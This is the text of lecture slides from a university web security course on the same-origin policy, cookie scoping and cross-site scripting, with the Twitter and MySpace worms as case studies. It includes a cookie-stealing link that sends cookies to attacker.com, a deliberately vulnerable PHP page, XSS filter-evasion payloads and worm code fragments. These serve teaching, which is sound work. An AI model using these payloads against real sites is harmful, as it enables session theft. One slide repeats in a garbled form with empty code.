Web Security
[Browser Security Model; Web App Security (XSS)]
Admin

• Hw #2 due today (8pm)
• Lab #2 (web security) out on Monday
  – Due 2 weeks later; sign up form coming soon
• Jared will cover lecture on Monday
  – More web app security + details on lab 2
• Next Friday is a UW holiday!
• Project checkpoint #1 due next Friday
• Office hours: none on Mon/Fri; yes on Thu
  – Email us if you need something!
Recap: Browser Sandbox

• Goal: safely execute JavaScript code provided by a website
  – No direct file access, limited access to OS, network, browser data, content that came from other websites

• Same origin policy
  – Can only access properties of documents and windows from the same domain, protocol, and port
Recap: Same-Origin Policy: DOM

Only code from same origin can **access HTML elements** on another site (or in an iframe).

- **www.example.com** (the parent) **can** access HTML elements in the iframe (and vice versa).
- **www.evil.com** (the parent) **cannot** access HTML elements in the iframe (and vice versa).
Problem: Who Can Navigate a Frame?

If bad frame can navigate sibling frames, attacker gets password!

```javascript
window.open("https://www.attacker.com/...", "awglogin")
```
Problem: Gadget Hijacking in Mashups

top.frames[1].location = "http://www.attacker.com/...";
top.frames[2].location = "http://www.attacker.com/...";
...
Problem: Gadget Hijacking in Mashups

Solution: Modern browsers only allow a frame to navigate its “descendent” frames
Same-Origin Policy: Cookie Reading

- **First-party cookie**: belongs to top-level domain.
- **Third-party cookie**: belongs to domain of embedded content.
Same Origin Policy: Cookie Writing

domain: any domain suffix of URL-hostname, except top-level domain (TLD)

Which cookies can be set by login.site.com?

allowed domains
✓ login.site.com
✓ .site.com

disallowed domains
✗ user.site.com
✗ othersite.com
✗ .com

login.site.com can set cookies for all of .site.com but not for another site or TLD

path: anything

Problematic for sites like .washington.edu
Problem: Who Set the Cookie?

• Alice logs in at login.site.com
  – login.site.com sets session-id cookie for .site.com
• Alice visits evil.site.com
  – Overwrites .site.com session-id cookie with session-id of user “badguy” -- not a violation of SOP!
• Alice visits cse484.site.com to submit homework
  – cse484.site.com thinks it is talking to “badguy”
• Problem: cse484.site.com expects session-id from login.site.com, cannot tell that session-id cookie has been overwritten by a “sibling” domain
Same-Origin Policy: Scripts

• When a website includes a script, that script runs in the context of the embedding website.

```html
<head>
<script src="http://otherdomain.com/library.js"></script> </head>
```


• If code in the script sets a cookie, under what origin will it be set?
Cookie Theft

• Cookies often contain authentication token
  – Stealing such a cookie == accessing account

• Cookie theft via malicious JavaScript
  
  `<a href="#" onclick="window.location='http://attacker.com/sto
le.cgi?cookie='+document.cookie; return false;">Click here!</a>`

• Cookie theft via network eavesdropping
  – Cookies included in HTTP requests
  – One of the reasons HTTPS is important!
Firesheep

https://codebutler.github.io/firesheep/
Web Application Security
Dynamic Web Application

GET / HTTP/1.1

HTTP/1.1 200 OK

index.php

Database server

Web server
OWASP Top 10 Web Vulnerabilities

1. Injection
2. Broken Authentication & Session Management
3. Cross-Site Scripting
4. Insecure Direct Object References
5. Security Misconfiguration
6. Sensitive Data Exposure
7. Missing Function Level Access Control
8. Cross-Site Request Forgery
9. Using Known Vulnerable Components
10. Unvalidated Redirects and Forwards
Cross-Site Scripting (XSS)
PHP: Hypertext Processor

- Server scripting language with C-like syntax
- Can intermingle static HTML and code
  ```php
  <input value=\?><php echo $myvalue; ?>>
  ```
- Can embed variables in double-quote strings
  ```php
  $user = "world"; echo "Hello $user!";
  or $user = "world"; echo "Hello" . $user . "!";
  ```
- Form data in global arrays `$_GET`, `$_POST`, ...
Echoing / “Reflecting” User Input

Classic mistake in server-side applications


search.php responds with
<html><title>Search results</title><body>You have searched for <?php echo $_GET['term'] ?>…</body></html>

Or

GET/ hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
Echoing / “Reflecting” User Input

naive.com/hello.cgi?name=Bob

Welcome, dear Bob


Welcome, dear

Welcome, dear Bob
Cross-Site Scripting (XSS)

Access some web page

Get/steal.cgi?cookie=

Forces victim’s browser to call hello.cgi on naive.com with this script as “name”

Interpreted as JavaScript by victim’s browser; opens window and calls steal.cgi on evil.com
XSS – Quick Demo

```php
<?php
setcookie("SECRET_COOKIE", "12345");
header("X-XSS-Protection: 0");
?>
<html><body><br><br>
<form action="vulnerable.php" method="get">
Name: <input type="text" name="name" size="80">
<input type="submit" value="submit"></form>
<br><br>
<div id="greeting">
<?php
$name = $_GET['name'];
if($name) { echo "Welcome " . $_GET['name'];}
?>
</div></body></html>
```

Need to explicitly disable XSS protection – newer browsers try to help web developers avoid these vulnerabilities!
Reflected XSS

- User is tricked into visiting an honest website
  - Phishing email, link in a banner ad, comment in a blog
- Bug in website code causes it to echo to the user’s browser an arbitrary attack script
  - The origin of this script is now the website itself!
- Script can manipulate website contents (DOM) to show bogus information, request sensitive data, control form fields on this page and linked pages, cause user’s browser to attack other websites
  - This violates the “spirit” of the same origin policy
Basic Pattern for Reflected XSS

1. visit web site
2. receive malicious page
3. click on link
4. echo user input
5. send valuable data
Where Malicious Scripts Lurk

• User-created content
  – Social sites, blogs, forums, wikis

• When visitor loads the page, website displays the content and visitor’s browser executes the script
  – Many sites try to filter out scripts from user content, but this is difficult!
Stored XSS

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Steal valuable data

User victim

Attack server

Server victim

Users view or download content

Store bad stuff
Twitter Worm (2009)

- Can save URL-encoded data into Twitter profile
- Data *not* escaped when profile is displayed
- Result: StalkDaily XSS exploit
  - If view an infected profile, script infects your own profile

```javascript
var update = urlencode("Hey everyone, join www.StalkDaily.com. It's a site like Twitter but with pictures, videos, and so much more! ");
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST", "authenticity_token"+authtoken+"&status="+update+"&tab=home&update=update");
ajaxConn1.connect("/account/settings", "POST", "authenticity_token"+authtoken+"&user[url]="+xss+"&tab=home&update=update")

```
Preventing Cross-Site Scripting

- Any user input and client-side data **must** be preprocessed before it is used inside HTML
- Remove / encode HTML special characters
  - Use a good escaping library
    - OWASP ESAPI (Enterprise Security API)
    - Microsoft’s AntiXSS
  - In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes
    - ‘ becomes &\#039; “ becomes &quot; & becomes &amp;
  - In ASP.NET, Server.HtmlEncode(string)
Evading XSS Filters

- Preventing injection of scripts into HTML is hard!
  - Blocking “<” and “>” is not enough
  - Event handlers, stylesheets, encoded inputs (%3C), etc.
  - phpBB allowed simple HTML tags like <b>
    ```html
    <b c="">" onmouseover="script" x="<b">Hello<b>
    ```
- Beware of filter evasion tricks (XSS Cheat Sheet)
  - If filter allows quoting (of <script>, etc.), beware of malformed quoting: `<IMG """><SCRIPT>alert("XSS")</SCRIPT>`
  - Long UTF-8 encoding
  - Scripts are not only in <script>:
    ```html
    <iframe src='https://bank.com/login' onload='steal()'>
    ```
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
  – No <script>, <body>, onclick, <a href=javascript://>
- ... but does allow <div> tags for CSS.
  – <div style="background:url( ‘javascript:alert(1)’ )”>
- But MySpace will strip out “javascript”
  – Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
  – Convert from decimal instead:
    alert('double quote: ' + String.fromCharCode(34))
MySpace Worm (2)

Resulting code:

```html
<doc>

http://namb.la/popular/tech.html

MySpace Worm (2)

Resulting code:

```
MySpace Worm (3)

• “There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”

• Started on “samy” MySpace page

• Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero

• 5 hours later “samy” has 1,005,831 friends
  – Was adding 1,000 friends per second at its peak